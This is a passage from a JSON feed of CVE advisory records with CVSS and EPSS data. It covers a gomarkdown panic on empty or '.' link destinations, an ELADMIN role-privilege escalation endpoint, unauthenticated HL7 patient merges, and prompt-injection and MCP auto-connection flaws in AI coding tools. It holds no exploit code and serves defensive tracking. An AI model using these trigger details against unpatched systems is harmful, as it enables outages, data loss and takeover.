fixes.","publishedAt":"2026-10-16T16:17:23.623Z","updatedAt":"2026-10-19T13:16:58.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41582","asOf":"2026-10-19T13:16:58.180Z"},"epss":{"probability":0.00527,"percentile":0.44356,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41582&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41582","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41582","type":"primary","publishedAt":"2026-10-16T16:17:23.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41582&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41582, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102941","cveId":"CVE-2026-102941","aliases":[],"kind":"vulnerability","title":"The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML.","summary":"The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to 0.0.0-20260724235538-61af6e1e6971, parser.IsSafeURL in parser/parser.go slices url[:nPath] before the len(url) >= nPath guard. A short destination causes a slice-bounds panic when the loop reaches a relative-path prefix for which len(url) < nPath and cap(url) < nPath. The one-byte destination / is an explicit non-panic counterexample because it matches the first valid path and returns before a longer prefix is sliced. Demonstrated panic cases include empty, ., and .. destinations under those conditions. The panic is reachable when markdown.ToHTML renders untrusted Markdown with html.Safelink enabled, including an empty link destination, and is also reachable by callers that pass a short attacker-controlled URL directly to the exported parser.IsSafeURL function. An uncaught panic can terminate the calling process and cause denial of service. This issue is fixed in 0.0.0-20260724235538-61af6e1e6971.","detail":"The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to 0.0.0-20260724235538-61af6e1e6971, parser.IsSafeURL in parser/parser.go slices url[:nPath] before the len(url) >= nPath guard. A short destination causes a slice-bounds panic when the loop reaches a relative-path prefix for which len(url) < nPath and cap(url) < nPath. The one-byte destination / is an explicit non-panic counterexample because it matches the first valid path and returns before a longer prefix is sliced. Demonstrated panic cases include empty, ., and .. destinations under those conditions. The panic is reachable when markdown.ToHTML renders untrusted Markdown with html.Safelink enabled, including an empty link destination, and is also reachable by callers that pass a short attacker-controlled URL directly to the exported parser.IsSafeURL function. An uncaught panic can terminate the calling process and cause denial of service. This issue is fixed in 0.0.0-20260724235538-61af6e1e6971.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T16:16:52.937Z","updatedAt":"2026-10-26T18:17:23.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102941","asOf":"2026-10-26T18:17:23.420Z"},"epss":{"probability":0.00279,"percentile":0.20135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102941","type":"primary","publishedAt":"2026-10-16T16:16:52.937Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97851","cveId":"CVE-2026-97851","aliases":[],"kind":"vulnerability","title":"The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states.","summary":"The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states. Changing a location to TO_DELETE causes PurgeStorageScheduler to delete the referenced object from storage even though the corresponding instance record remains in the database.","detail":"The storage status-change REST service allows location records still associated with DICOM instances to be changed to deletion-related states. Changing a location to TO_DELETE causes PurgeStorageScheduler to delete the referenced object from storage even though the corresponding instance record remains in the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:38.490Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97851","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00349,"percentile":0.2824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97851","type":"primary","publishedAt":"2026-10-16T15:17:38.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95183","cveId":"CVE-2026-95183","aliases":[],"kind":"vulnerability","title":"An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content.","summary":"An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content.","detail":"An issue in the context-compaction feature of DeepSeek Harness (dsh) commit c291e796 allows attackers to execute a prompt injection attack via crafted external content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:37.050Z","updatedAt":"2026-10-21T02:17:07.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95183","asOf":"2026-10-21T02:17:07.570Z"},"epss":{"probability":0.00255,"percentile":0.16883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95183&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95183","type":"primary","publishedAt":"2026-10-16T15:17:37.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95183&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95183, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88755","cveId":"CVE-2026-88755","aliases":[],"kind":"vulnerability","title":"Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers...","summary":"Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers to execute arbitrary code via opening a crafted repository.","detail":"Z.ai ZCode v3.11.2.6792 was discovered to automatically establish connections with MCP servers declared inside a repository's workspace configuration, possibly allowing attackers to execute arbitrary code via opening a crafted repository.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:33.537Z","updatedAt":"2026-10-16T20:18:12.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88755","asOf":"2026-10-16T20:18:12.557Z"},"epss":{"probability":0.0021,"percentile":0.11142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88755","type":"primary","publishedAt":"2026-10-16T15:17:33.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107777","cveId":"CVE-2026-107777","aliases":[],"kind":"vulnerability","title":"Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are...","summary":"Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are accessible to the web service account.","detail":"Thermo Fisher Torrent Suite Software is vulnerable to a path traversal, which could allow an authenticated attacker to read arbitrary files on the Torrent Server that are accessible to the web service account.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:05.977Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107777","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.00316,"percentile":0.24337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107777&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107777","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107777","type":"primary","publishedAt":"2026-10-16T15:17:05.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107777&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107777, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107621","cveId":"CVE-2026-107621","aliases":[],"kind":"vulnerability","title":"JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream.","summary":"JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream.","detail":"JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:05.003Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107621","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00377,"percentile":0.31428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107621","type":"primary","publishedAt":"2026-10-16T15:17:05.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106705","cveId":"CVE-2026-106705","aliases":[],"kind":"vulnerability","title":"ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module.","summary":"ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module. The endpoint PUT /api/roles/menu (RoleController.updateRoleMenu) authorizes the request only by comparing the target role's level with the caller's minimum level. The application neither validates the granted menu set nor prevents a caller from modifying its own role. A logged-in non-admin user whose role holds the delegated `roles:edit` permission can submit its own role id together with an arbitrary list of menu ids.","detail":"ELADMIN (eladmin-mp) up to 2.7 contains an improper access control vulnerability in the role management module. The endpoint PUT /api/roles/menu (RoleController.updateRoleMenu) authorizes the request only by comparing the target role's level with the caller's minimum level. The application neither validates the granted menu set nor prevents a caller from modifying its own role. A logged-in non-admin user whose role holds the delegated `roles:edit` permission can submit its own role id together with an arbitrary list of menu ids.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:04.767Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106705","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00246,"percentile":0.15686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106705","type":"primary","publishedAt":"2026-10-16T15:17:04.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105667","cveId":"CVE-2026-105667","aliases":[],"kind":"vulnerability","title":"In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application.","summary":"In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application. A remote sender can reassign studies and related workflow records from one patient identity to another. The archive's unmerge does not reverse this.","detail":"In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application. A remote sender can reassign studies and related workflow records from one patient identity to another. The archive's unmerge does not reverse this.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:04.260Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105667","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00239,"percentile":0.14776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105667&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105667","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105667","type":"primary","publishedAt":"2026-10-16T15:17:04.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105667&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105667, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105273","cveId":"CVE-2026-105273","aliases":[],"kind":"vulnerability","title":"MP4Parser does not adequately validate MP4 box sizes.","summary":"MP4Parser does not adequately validate MP4 box sizes. A malformed box can cause parsing to make no forward progress and repeatedly process the same input.","detail":"MP4Parser does not adequately validate MP4 box sizes. A malformed box can cause parsing to make no forward progress and repeatedly process the same input.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:17:03.993Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105273","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00377,"percentile":0.31427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105273","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105273","type":"primary","publishedAt":"2026-10-16T15:17:03.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101021","cveId":"CVE-2026-101021","aliases":[],"kind":"vulnerability","title":"MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying.","summary":"MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying. Crafted multipart input can force excessive boundary comparisons and repeated copying.","detail":"MultipartInputStream performs inefficient boundary matching and unnecessary buffer copying. Crafted multipart input can force excessive boundary comparisons and repeated copying.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T15:16:58.837Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101021","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00377,"percentile":0.31428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101021","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101021","type":"primary","publishedAt":"2026-10-16T15:16:58.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111413","cveId":"CVE-2026-111413","aliases":[],"kind":"vulnerability","title":"Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme...","summary":"Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme Helper: from n/a through 1.0.8.","detail":"Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt 